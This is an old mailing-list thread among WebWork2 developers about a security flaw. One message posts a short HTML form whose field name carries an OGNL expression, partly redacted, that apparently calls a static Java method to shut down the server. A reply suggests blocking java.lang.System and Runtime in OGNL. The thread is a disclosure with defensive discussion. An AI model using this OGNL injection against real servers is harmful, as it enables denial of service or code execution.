Well, we are not all up to date on Java security policies, but since you
seem to be, care to enlighten us?

Thanks,
Mathias

-----Original Message-----
From: John Patterson [mailto:[EMAIL PROTECTED] 
Sent: vrijdag 12 december 2003 14:42
To: [EMAIL PROTECTED]
Subject: Re: [OS-webwork] Security flaw with WW2


Time to brush up on Java security policies.

----- Original Message ----- 
From: "Carlos Villela" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Friday, December 12, 2003 1:32 PM
Subject: RES: [OS-webwork] Security flaw with WW2


OOOOOOUCH!

Ok, possible solutions:

- Disallow POSTs with unknown referers (sucks, but works)
- Disallow use of java.lang.System, java.lang.Runtime and friends in OGNL
(good & works)

Good catch, John!

-cv

-----Mensagem original-----
De: John Patterson [mailto:[EMAIL PROTECTED]
Enviada em: sexta-feira, 12 de dezembro de 2003 11:24
Para: Webwork
Assunto: [OS-webwork] Security flaw with WW2


Guess what this does?

<html>
<body>
<form method="post" action=http://myhost/app/myAction.action>
<input name="@[EMAIL PROTECTED](1).dummy" value=""/> </form> </body>
</html>

John.


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